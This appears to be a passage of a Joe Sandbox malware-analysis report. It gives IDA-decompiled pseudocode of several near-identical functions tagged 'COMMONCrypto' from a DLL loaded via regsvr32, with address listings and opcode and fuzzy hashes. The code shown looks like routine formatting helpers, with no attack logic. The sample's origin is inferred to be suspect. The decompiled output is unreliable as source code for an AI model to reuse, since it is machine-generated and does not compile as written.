				_t73 = E000000011800338E8(_t72, _t117, _t119,  &_a8);
				goto 0x80037a09;
				E000000011800354D0(_t73, _t117, _t119,  &_a8);
				if (0 == 0) goto 0x800379d4;
				if ( *((intOrPtr*)(_t117 + 0x470)) != 1) goto 0x80037a23;
				if ( *((intOrPtr*)(_t117 + 0x474)) != 1) goto 0x80037ab9;
				_t144 = _a8;
				if (0 == 0) goto 0x80037a3f;
				if (_t144 >= 0) goto 0x80037a3f;
				_t85 =  *_t134 | 0x00000040;
				 *_t134 = _t85;
				if ( *((intOrPtr*)(_t117 + 0x30)) >= 0) goto 0x80037a4e;
				 *((intOrPtr*)(_t117 + 0x30)) = 1;
				goto 0x80037a64;
				 *_t134 = _t85 & 0xfffffff7;
				E00000001180031D44(_t117, _t117 + 0x50,  *((intOrPtr*)(_t117 + 0x30)), _t134,  *((intOrPtr*)(_t117 + 8)));
				if ( ~_t144 != 0) goto 0x80037a6c;
				 *_t134 =  *_t134 & 0xffffffdf;
				 *((char*)(_t117 + 0x4c)) = 1;
				r8b = r15b;
				if (_t143 != _t143) goto 0x80037a85;
				E0000000118003CD6C(_t85 & 0xfffffff7, _t117,  ~_t144, _t142);
				goto 0x80037a8d;
				E0000000118003B850(_t85 & 0xfffffff7, r14d, _t117, _t142);
				if (0 == 0) goto 0x80037ab9;
				if ( *((intOrPtr*)(_t117 + 0x48)) == 0) goto 0x80037aaa;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t117 + 0x40)))) == 0x30) goto 0x80037ab9;
				 *((long long*)(_t117 + 0x40)) =  *((long long*)(_t117 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t117 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t117 + 0x48)) =  *((intOrPtr*)(_t117 + 0x48)) + 1;
				return 1;
			}























                                                                                                        0x1800378a0
                                                                                                        0x1800378a0
                                                                                                        0x1800378a0
                                                                                                        0x1800378a0
                                                                                                        0x1800378a5
                                                                                                        0x1800378b9
                                                                                                        0x1800378bd
                                                                                                        0x1800378c0
                                                                                                        0x1800378c3
                                                                                                        0x1800378c9
                                                                                                        0x1800378cd
                                                                                                        0x1800378d3
                                                                                                        0x1800378d5
                                                                                                        0x1800378d8
                                                                                                        0x1800378de
                                                                                                        0x1800378e2
                                                                                                        0x1800378e4
                                                                                                        0x1800378e8
                                                                                                        0x1800378ea
                                                                                                        0x1800378ee
                                                                                                        0x1800378f8
                                                                                                        0x1800378fe
                                                                                                        0x180037915
                                                                                                        0x18003791b
                                                                                                        0x180037920
                                                                                                        0x180037925
                                                                                                        0x18003793e
                                                                                                        0x180037940
                                                                                                        0x180037945
                                                                                                        0x18003794a
                                                                                                        0x18003794f
                                                                                                        0x180037954
                                                                                                        0x18003796b
                                                                                                        0x18003796e
                                                                                                        0x180037970
                                                                                                        0x180037975
                                                                                                        0x18003797a
                                                                                                        0x18003797f
                                                                                                        0x180037984
                                                                                                        0x180037988
                                                                                                        0x18003798e
                                                                                                        0x180037992
                                                                                                        0x180037998
                                                                                                        0x18003799c
                                                                                                        0x1800379a2
                                                                                                        0x1800379a7
                                                                                                        0x1800379ab
                                                                                                        0x1800379ae
                                                                                                        0x1800379b3
                                                                                                        0x1800379b7
                                                                                                        0x1800379c4
                                                                                                        0x1800379c9
                                                                                                        0x1800379cf
                                                                                                        0x1800379d6
                                                                                                        0x1800379db
                                                                                                        0x1800379e0
                                                                                                        0x1800379f4
                                                                                                        0x1800379f6
                                                                                                        0x1800379fb
                                                                                                        0x1800379fd
                                                                                                        0x180037a02
                                                                                                        0x180037a04
                                                                                                        0x180037a0b
                                                                                                        0x180037a14
                                                                                                        0x180037a1d
                                                                                                        0x180037a27
                                                                                                        0x180037a30
                                                                                                        0x180037a35
                                                                                                        0x180037a3a
                                                                                                        0x180037a3d
                                                                                                        0x180037a43
                                                                                                        0x180037a45
                                                                                                        0x180037a4c
                                                                                                        0x180037a59
                                                                                                        0x180037a5f
                                                                                                        0x180037a67
                                                                                                        0x180037a69
                                                                                                        0x180037a6c
                                                                                                        0x180037a70
                                                                                                        0x180037a79
                                                                                                        0x180037a7e
                                                                                                        0x180037a83
                                                                                                        0x180037a88
                                                                                                        0x180037a94
                                                                                                        0x180037a9f
                                                                                                        0x180037aa8
                                                                                                        0x180037aaa
                                                                                                        0x180037ab3
                                                                                                        0x180037ab6
                                                                                                        0x180037ad1

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: eeac838f3000351fe04ecbfb0cfc5e0653ca43929b1411076dd6b57b29209ac2
                                                                                                        • Instruction ID: 8929428cbb7ac6670ce0d2a901b5eb6b4d3f0024555889dac68c2e9f6ae6a58b
                                                                                                        • Opcode Fuzzy Hash: eeac838f3000351fe04ecbfb0cfc5e0653ca43929b1411076dd6b57b29209ac2
                                                                                                        • Instruction Fuzzy Hash: 2951803232465886E7F78F29C0447EE23A0E74979CF168216FA4D166D6DF36CB4AC702
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018003AAA0 Relevance: .2, Instructions: 157COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 74%
                                                                                                        			E0000000118003AAA0(void* __edx, long long __rbx, void* __rcx, long long __rsi, void* __r8, void* __r10, signed int _a8, long long _a16, long long _a24) {
				long long _v48;
				signed long long _v56;
				void* __rbp;
				void* _t62;
				void* _t66;
				void* _t72;
				void* _t73;
				signed int _t85;
				void* _t94;
				intOrPtr _t95;
				signed int _t99;
				intOrPtr _t113;
				void* _t117;
				void* _t119;
				signed int* _t134;
				void* _t137;
				void* _t140;
				void* _t143;
				signed long long _t144;

				_t140 = __r8;
				_t119 = __rcx;
				_a16 = __rbx;
				_a24 = __rsi;
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				r15b = __edx;
				_t117 = __rcx;
				r12d = 8;
				_t94 = r8d - 5;
				if (_t94 > 0) goto 0x8003ab84;
				if (_t94 == 0) goto 0x8003aafe;
				_t95 = r8d;
				if (_t95 == 0) goto 0x8003abdb;
				r8d = r8d - 1;
				if (_t95 == 0) goto 0x8003ab54;
				r8d = r8d - 1;
				if (_t95 == 0) goto 0x8003ab25;
				r8d = r8d - 1;
				if (_t95 == 0) goto 0x8003abdb;
				if (r8d != 1) goto 0x8003aba7;
				_a8 = _a8 & 0x00000000;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x8003ac04;
				E00000001180035048( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x8003ac09;
				_a8 = _a8 & 0x00000000;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x8003ab4a;
				_t62 = E00000001180032920( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x8003ac09;
				E00000001180032FD8(_t62, __rcx, __rcx,  &_a8);
				goto 0x8003ac09;
				_a8 = _a8 & 0x00000000;
				_t99 = dil &  *(__rcx + 0x28) >> 0x00000004;
				if (_t99 == 0) goto 0x8003ab7a;
				_t66 = E00000001180032008( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x8003ac09;
				E00000001180032490(_t66, __rcx, __rcx,  &_a8);
				goto 0x8003ac09;
				r8d = r8d - 6;
				if (_t99 == 0) goto 0x8003aafe;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x8003aafe;
				r8d = r8d - 2;
				if (_t99 == 0) goto 0x8003aafe;
				goto 0x8003aaea;
				_t113 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t113 + 0x30)) = 1;
				 *((intOrPtr*)(_t113 + 0x2c)) = 0x16;
				_v48 =  *((intOrPtr*)(__rcx + 8));
				_v56 = _v56 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx,  &_a8, __rcx + 0x28, _t137, _t140);
				goto 0x8003acbb;
				_a8 = _a8 & 0x00000000;
				_t134 = _t119 + 0x28;
				if (0 == 0) goto 0x8003abfd;
				_t72 = E00000001180033460( *_t134 >> 4, _t117, _t119,  &_a8);
				goto 0x8003ac09;
				_t73 = E000000011800338E8(_t72, _t117, _t119,  &_a8);
				goto 0x8003ac09;
				E000000011800354D0(_t73, _t117, _t119,  &_a8);
				if (0 == 0) goto 0x8003abd4;
				if ( *((intOrPtr*)(_t117 + 0x470)) != 1) goto 0x8003ac23;
				if ( *((intOrPtr*)(_t117 + 0x474)) != 1) goto 0x8003acb9;
				_t144 = _a8;
				if (0 == 0) goto 0x8003ac3f;
				if (_t144 >= 0) goto 0x8003ac3f;
				_t85 =  *_t134 | 0x00000040;
				 *_t134 = _t85;
				if ( *((intOrPtr*)(_t117 + 0x30)) >= 0) goto 0x8003ac4e;
				 *((intOrPtr*)(_t117 + 0x30)) = 1;
				goto 0x8003ac64;
				 *_t134 = _t85 & 0xfffffff7;
				E00000001180031D44(_t117, _t117 + 0x50,  *((intOrPtr*)(_t117 + 0x30)), _t134,  *((intOrPtr*)(_t117 + 8)));
				if ( ~_t144 != 0) goto 0x8003ac6c;
				 *_t134 =  *_t134 & 0xffffffdf;
				 *((char*)(_t117 + 0x4c)) = 1;
				r8b = r15b;
				if (_t143 != _t143) goto 0x8003ac85;
				E0000000118003DC84(0, _t117,  ~_t144,  *((intOrPtr*)(_t117 + 8)));
				goto 0x8003ac8d;
				E0000000118003C724(r14d, _t117,  *((intOrPtr*)(_t117 + 8)));
				if (0 == 0) goto 0x8003acb9;
				if ( *((intOrPtr*)(_t117 + 0x48)) == 0) goto 0x8003acaa;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t117 + 0x40)))) == 0x30) goto 0x8003acb9;
				 *((long long*)(_t117 + 0x40)) =  *((long long*)(_t117 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t117 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t117 + 0x48)) =  *((intOrPtr*)(_t117 + 0x48)) + 1;
				return 1;
			}






















                                                                                                        0x18003aaa0
                                                                                                        0x18003aaa0
                                                                                                        0x18003aaa0
                                                                                                        0x18003aaa5
                                                                                                        0x18003aab9
                                                                                                        0x18003aabd
                                                                                                        0x18003aac0
                                                                                                        0x18003aac3
                                                                                                        0x18003aac9
                                                                                                        0x18003aacd
                                                                                                        0x18003aad3
                                                                                                        0x18003aad5
                                                                                                        0x18003aad8
                                                                                                        0x18003aade
                                                                                                        0x18003aae2
                                                                                                        0x18003aae4
                                                                                                        0x18003aae8
                                                                                                        0x18003aaea
                                                                                                        0x18003aaee
                                                                                                        0x18003aaf8
                                                                                                        0x18003aafe
                                                                                                        0x18003ab15
                                                                                                        0x18003ab1b
                                                                                                        0x18003ab20
                                                                                                        0x18003ab25
                                                                                                        0x18003ab3e
                                                                                                        0x18003ab40
                                                                                                        0x18003ab45
                                                                                                        0x18003ab4a
                                                                                                        0x18003ab4f
                                                                                                        0x18003ab54
                                                                                                        0x18003ab6b
                                                                                                        0x18003ab6e
                                                                                                        0x18003ab70
                                                                                                        0x18003ab75
                                                                                                        0x18003ab7a
                                                                                                        0x18003ab7f
                                                                                                        0x18003ab84
                                                                                                        0x18003ab88
                                                                                                        0x18003ab8e
                                                                                                        0x18003ab92
                                                                                                        0x18003ab98
                                                                                                        0x18003ab9c
                                                                                                        0x18003aba2
                                                                                                        0x18003aba7
                                                                                                        0x18003abab
                                                                                                        0x18003abae
                                                                                                        0x18003abb3
                                                                                                        0x18003abb7
                                                                                                        0x18003abc4
                                                                                                        0x18003abc9
                                                                                                        0x18003abcf
                                                                                                        0x18003abd6
                                                                                                        0x18003abdb
                                                                                                        0x18003abe0
                                                                                                        0x18003abf4
                                                                                                        0x18003abf6
                                                                                                        0x18003abfb
                                                                                                        0x18003abfd
                                                                                                        0x18003ac02
                                                                                                        0x18003ac04
                                                                                                        0x18003ac0b
                                                                                                        0x18003ac14
                                                                                                        0x18003ac1d
                                                                                                        0x18003ac27
                                                                                                        0x18003ac30
                                                                                                        0x18003ac35
                                                                                                        0x18003ac3a
                                                                                                        0x18003ac3d
                                                                                                        0x18003ac43
                                                                                                        0x18003ac45
                                                                                                        0x18003ac4c
                                                                                                        0x18003ac59
                                                                                                        0x18003ac5f
                                                                                                        0x18003ac67
                                                                                                        0x18003ac69
                                                                                                        0x18003ac6c
                                                                                                        0x18003ac70
                                                                                                        0x18003ac79
                                                                                                        0x18003ac7e
                                                                                                        0x18003ac83
                                                                                                        0x18003ac88
                                                                                                        0x18003ac94
                                                                                                        0x18003ac9f
                                                                                                        0x18003aca8
                                                                                                        0x18003acaa
                                                                                                        0x18003acb3
                                                                                                        0x18003acb6
                                                                                                        0x18003acd1

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 801c985424736817d291620dc3de0610b99ba71336bfdd8b12fa7c9c7154ed45
                                                                                                        • Instruction ID: d9cbfd6a90fc90bd453be800134ca3f31a738aa9cae1b201ba5e6e0ce8da61e3
                                                                                                        • Opcode Fuzzy Hash: 801c985424736817d291620dc3de0610b99ba71336bfdd8b12fa7c9c7154ed45
                                                                                                        • Instruction Fuzzy Hash: 0351D43223865886F7E78F28C8447EA73A0E70E798F169211FA45076D5DF7AC68AC701
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180037264 Relevance: .2, Instructions: 156COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 73%
                                                                                                        			E00000001180037264(void* __edx, long long __rbx, void* __rcx, long long __rsi, void* __r8, void* __r10, signed int _a8, long long _a16, long long _a24) {
				long long _v48;
				signed long long _v56;
				void* __rbp;
				void* _t62;
				void* _t66;
				void* _t72;
				void* _t73;
				signed int _t85;
				void* _t93;
				intOrPtr _t94;
				signed int _t98;
				intOrPtr _t112;
				void* _t116;
				void* _t118;
				signed int* _t133;
				void* _t136;
				void* _t139;
				void* _t142;
				signed long long _t143;

				_t139 = __r8;
				_t118 = __rcx;
				_a16 = __rbx;
				_a24 = __rsi;
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				r15b = __edx;
				_t116 = __rcx;
				r12d = 8;
				_t93 = r8d - 5;
				if (_t93 > 0) goto 0x80037348;
				if (_t93 == 0) goto 0x800372c2;
				_t94 = r8d;
				if (_t94 == 0) goto 0x8003739f;
				r8d = r8d - 1;
				if (_t94 == 0) goto 0x80037318;
				r8d = r8d - 1;
				if (_t94 == 0) goto 0x800372e9;
				r8d = r8d - 1;
				if (_t94 == 0) goto 0x8003739f;
				if (r8d != 1) goto 0x8003736b;
				_a8 = _a8 & 0x00000000;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x800373c8;
				E00000001180034F40( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x800373cd;
				_a8 = _a8 & 0x00000000;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x8003730e;
				_t62 = E00000001180032814( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x800373cd;
				E00000001180032ED0(_t62, __rcx, __rcx,  &_a8);
				goto 0x800373cd;
				_a8 = _a8 & 0x00000000;
				_t98 = dil &  *(__rcx + 0x28) >> 0x00000004;
				if (_t98 == 0) goto 0x8003733e;
				_t66 = E00000001180031EFC( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x800373cd;
				E00000001180032388(_t66, __rcx, __rcx,  &_a8);
				goto 0x800373cd;
				r8d = r8d - 6;
				if (_t98 == 0) goto 0x800372c2;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x800372c2;
				r8d = r8d - 2;
				if (_t98 == 0) goto 0x800372c2;
				goto 0x800372ae;
				_t112 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t112 + 0x30)) = 1;
				 *((intOrPtr*)(_t112 + 0x2c)) = 0x16;
				_v48 =  *((intOrPtr*)(__rcx + 8));
				_v56 = _v56 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx,  &_a8, __rcx + 0x28, _t136, _t139);
				goto 0x80037479;
				_a8 = _a8 & 0x00000000;
				_t133 = _t118 + 0x28;
				if (0 == 0) goto 0x800373c1;
				_t72 = E00000001180033358( *_t133 >> 4, _t116, _t118,  &_a8);
				goto 0x800373cd;
				_t73 = E000000011800337E0(_t72, _t116, _t118,  &_a8);
				goto 0x800373cd;
				E000000011800353C8(_t73, _t116, _t118,  &_a8);
				if (0 == 0) goto 0x80037398;
				if ( *((intOrPtr*)(_t116 + 0x470)) != 1) goto 0x800373e7;
				if ( *((intOrPtr*)(_t116 + 0x474)) != 1) goto 0x80037477;
				_t143 = _a8;
				if (0 == 0) goto 0x80037403;
				if (_t143 >= 0) goto 0x80037403;
				_t85 =  *_t133 | 0x00000040;
				 *_t133 = _t85;
				if ( *((intOrPtr*)(_t116 + 0x30)) >= 0) goto 0x80037412;
				 *((intOrPtr*)(_t116 + 0x30)) = 1;
				goto 0x80037428;
				 *_t133 = _t85 & 0xfffffff7;
				E00000001180031C9C(_t116, _t116 + 0x50,  *((intOrPtr*)(_t116 + 0x30)), _t133,  *((intOrPtr*)(_t116 + 8)));
				if ( ~_t143 != 0) goto 0x80037430;
				 *_t133 =  *_t133 & 0xffffffdf;
				 *((char*)(_t116 + 0x4c)) = 0;
				r8b = r15b;
				if (_t142 != _t142) goto 0x80037449;
				E0000000118003CC04(0, _t116,  ~_t143);
				goto 0x80037451;
				E0000000118003B6EC(r14d, _t116);
				if (0 == 0) goto 0x80037477;
				if ( *((intOrPtr*)(_t116 + 0x48)) == 0) goto 0x80037469;
				if ( *((char*)( *((intOrPtr*)(_t116 + 0x40)))) == 0x30) goto 0x80037477;
				 *((long long*)(_t116 + 0x40)) =  *((long long*)(_t116 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t116 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t116 + 0x48)) =  *((intOrPtr*)(_t116 + 0x48)) + 1;
				return 1;
			}






















                                                                                                        0x180037264
                                                                                                        0x180037264
                                                                                                        0x180037264
                                                                                                        0x180037269
                                                                                                        0x18003727d
                                                                                                        0x180037281
                                                                                                        0x180037284
                                                                                                        0x180037287
                                                                                                        0x18003728d
                                                                                                        0x180037291
                                                                                                        0x180037297
                                                                                                        0x180037299
                                                                                                        0x18003729c
                                                                                                        0x1800372a2
                                                                                                        0x1800372a6
                                                                                                        0x1800372a8
                                                                                                        0x1800372ac
                                                                                                        0x1800372ae
                                                                                                        0x1800372b2
                                                                                                        0x1800372bc
                                                                                                        0x1800372c2
                                                                                                        0x1800372d9
                                                                                                        0x1800372df
                                                                                                        0x1800372e4
                                                                                                        0x1800372e9
                                                                                                        0x180037302
                                                                                                        0x180037304
                                                                                                        0x180037309
                                                                                                        0x18003730e
                                                                                                        0x180037313
                                                                                                        0x180037318
                                                                                                        0x18003732f
                                                                                                        0x180037332
                                                                                                        0x180037334
                                                                                                        0x180037339
                                                                                                        0x18003733e
                                                                                                        0x180037343
                                                                                                        0x180037348
                                                                                                        0x18003734c
                                                                                                        0x180037352
                                                                                                        0x180037356
                                                                                                        0x18003735c
                                                                                                        0x180037360
                                                                                                        0x180037366
                                                                                                        0x18003736b
                                                                                                        0x18003736f
                                                                                                        0x180037372
                                                                                                        0x180037377
                                                                                                        0x18003737b
                                                                                                        0x180037388
                                                                                                        0x18003738d
                                                                                                        0x180037393
                                                                                                        0x18003739a
                                                                                                        0x18003739f
                                                                                                        0x1800373a4
                                                                                                        0x1800373b8
                                                                                                        0x1800373ba
                                                                                                        0x1800373bf
                                                                                                        0x1800373c1
                                                                                                        0x1800373c6
                                                                                                        0x1800373c8
                                                                                                        0x1800373cf
                                                                                                        0x1800373d8
                                                                                                        0x1800373e1
                                                                                                        0x1800373eb
                                                                                                        0x1800373f4
                                                                                                        0x1800373f9
                                                                                                        0x1800373fe
                                                                                                        0x180037401
                                                                                                        0x180037407
                                                                                                        0x180037409
                                                                                                        0x180037410
                                                                                                        0x18003741d
                                                                                                        0x180037423
                                                                                                        0x18003742b
                                                                                                        0x18003742d
                                                                                                        0x180037430
                                                                                                        0x180037434
                                                                                                        0x18003743d
                                                                                                        0x180037442
                                                                                                        0x180037447
                                                                                                        0x18003744c
                                                                                                        0x180037458
                                                                                                        0x18003745e
                                                                                                        0x180037467
                                                                                                        0x180037469
                                                                                                        0x180037471
                                                                                                        0x180037474
                                                                                                        0x18003748f

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: cf5bb1f985b1a7fb8fe62f72fd527636f055bffeecc9ab71e047cf1be0654bbb
                                                                                                        • Instruction ID: d3de175102d489d4693acc784cd13c7eee174afb53b475dd735f270af45749e8
                                                                                                        • Opcode Fuzzy Hash: cf5bb1f985b1a7fb8fe62f72fd527636f055bffeecc9ab71e047cf1be0654bbb
                                                                                                        • Instruction Fuzzy Hash: 4D51AC7232065986F7F79E29C0047EA27A0E7097DCF169105FE8D1669ACF36DB4AD700
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018003A464 Relevance: .2, Instructions: 156COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 73%
                                                                                                        			E0000000118003A464(void* __edx, long long __rbx, void* __rcx, long long __rsi, void* __r8, void* __r10, signed int _a8, long long _a16, long long _a24) {
				long long _v48;
				signed long long _v56;
				void* __rbp;
				void* _t62;
				void* _t66;
				void* _t72;
				void* _t73;
				signed int _t85;
				void* _t93;
				intOrPtr _t94;
				signed int _t98;
				intOrPtr _t112;
				void* _t116;
				void* _t118;
				signed int* _t133;
				void* _t136;
				void* _t139;
				void* _t142;
				signed long long _t143;

				_t139 = __r8;
				_t118 = __rcx;
				_a16 = __rbx;
				_a24 = __rsi;
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				r15b = __edx;
				_t116 = __rcx;
				r12d = 8;
				_t93 = r8d - 5;
				if (_t93 > 0) goto 0x8003a548;
				if (_t93 == 0) goto 0x8003a4c2;
				_t94 = r8d;
				if (_t94 == 0) goto 0x8003a59f;
				r8d = r8d - 1;
				if (_t94 == 0) goto 0x8003a518;
				r8d = r8d - 1;
				if (_t94 == 0) goto 0x8003a4e9;
				r8d = r8d - 1;
				if (_t94 == 0) goto 0x8003a59f;
				if (r8d != 1) goto 0x8003a56b;
				_a8 = _a8 & 0x00000000;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x8003a5c8;
				E00000001180034F40( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x8003a5cd;
				_a8 = _a8 & 0x00000000;
				if (( *(__rcx + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x8003a50e;
				_t62 = E00000001180032814( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x8003a5cd;
				E00000001180032ED0(_t62, __rcx, __rcx,  &_a8);
				goto 0x8003a5cd;
				_a8 = _a8 & 0x00000000;
				_t98 = dil &  *(__rcx + 0x28) >> 0x00000004;
				if (_t98 == 0) goto 0x8003a53e;
				_t66 = E00000001180031EFC( *(__rcx + 0x28) >> 4, __rcx, __rcx,  &_a8);
				goto 0x8003a5cd;
				E00000001180032388(_t66, __rcx, __rcx,  &_a8);
				goto 0x8003a5cd;
				r8d = r8d - 6;
				if (_t98 == 0) goto 0x8003a4c2;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x8003a4c2;
				r8d = r8d - 2;
				if (_t98 == 0) goto 0x8003a4c2;
				goto 0x8003a4ae;
				_t112 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t112 + 0x30)) = 1;
				 *((intOrPtr*)(_t112 + 0x2c)) = 0x16;
				_v48 =  *((intOrPtr*)(__rcx + 8));
				_v56 = _v56 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx,  &_a8, __rcx + 0x28, _t136, _t139);
				goto 0x8003a679;
				_a8 = _a8 & 0x00000000;
				_t133 = _t118 + 0x28;
				if (0 == 0) goto 0x8003a5c1;
				_t72 = E00000001180033358( *_t133 >> 4, _t116, _t118,  &_a8);
				goto 0x8003a5cd;
				_t73 = E000000011800337E0(_t72, _t116, _t118,  &_a8);
				goto 0x8003a5cd;
				E000000011800353C8(_t73, _t116, _t118,  &_a8);
				if (0 == 0) goto 0x8003a598;
				if ( *((intOrPtr*)(_t116 + 0x470)) != 1) goto 0x8003a5e7;
				if ( *((intOrPtr*)(_t116 + 0x474)) != 1) goto 0x8003a677;
				_t143 = _a8;
				if (0 == 0) goto 0x8003a603;
				if (_t143 >= 0) goto 0x8003a603;
				_t85 =  *_t133 | 0x00000040;
				 *_t133 = _t85;
				if ( *((intOrPtr*)(_t116 + 0x30)) >= 0) goto 0x8003a612;
				 *((intOrPtr*)(_t116 + 0x30)) = 1;
				goto 0x8003a628;
				 *_t133 = _t85 & 0xfffffff7;
				E00000001180031C9C(_t116, _t116 + 0x50,  *((intOrPtr*)(_t116 + 0x30)), _t133,  *((intOrPtr*)(_t116 + 8)));
				if ( ~_t143 != 0) goto 0x8003a630;
				 *_t133 =  *_t133 & 0xffffffdf;
				 *((char*)(_t116 + 0x4c)) = 0;
				r8b = r15b;
				if (_t142 != _t142) goto 0x8003a649;
				E0000000118003DADC(0, _t116,  ~_t143);
				goto 0x8003a651;
				E0000000118003C57C(r14d, _t116);
				if (0 == 0) goto 0x8003a677;
				if ( *((intOrPtr*)(_t116 + 0x48)) == 0) goto 0x8003a669;
				if ( *((char*)( *((intOrPtr*)(_t116 + 0x40)))) == 0x30) goto 0x8003a677;
				 *((long long*)(_t116 + 0x40)) =  *((long long*)(_t116 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t116 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t116 + 0x48)) =  *((intOrPtr*)(_t116 + 0x48)) + 1;
				return 1;
			}






















                                                                                                        0x18003a464
                                                                                                        0x18003a464
                                                                                                        0x18003a464
                                                                                                        0x18003a469
                                                                                                        0x18003a47d
                                                                                                        0x18003a481
                                                                                                        0x18003a484
                                                                                                        0x18003a487
                                                                                                        0x18003a48d
                                                                                                        0x18003a491
                                                                                                        0x18003a497
                                                                                                        0x18003a499
                                                                                                        0x18003a49c
                                                                                                        0x18003a4a2
                                                                                                        0x18003a4a6
                                                                                                        0x18003a4a8
                                                                                                        0x18003a4ac
                                                                                                        0x18003a4ae
                                                                                                        0x18003a4b2
                                                                                                        0x18003a4bc
                                                                                                        0x18003a4c2
                                                                                                        0x18003a4d9
                                                                                                        0x18003a4df
                                                                                                        0x18003a4e4
                                                                                                        0x18003a4e9
                                                                                                        0x18003a502
                                                                                                        0x18003a504
                                                                                                        0x18003a509
                                                                                                        0x18003a50e
                                                                                                        0x18003a513
                                                                                                        0x18003a518
                                                                                                        0x18003a52f
                                                                                                        0x18003a532
                                                                                                        0x18003a534
                                                                                                        0x18003a539
                                                                                                        0x18003a53e
                                                                                                        0x18003a543
                                                                                                        0x18003a548
                                                                                                        0x18003a54c
                                                                                                        0x18003a552
                                                                                                        0x18003a556
                                                                                                        0x18003a55c
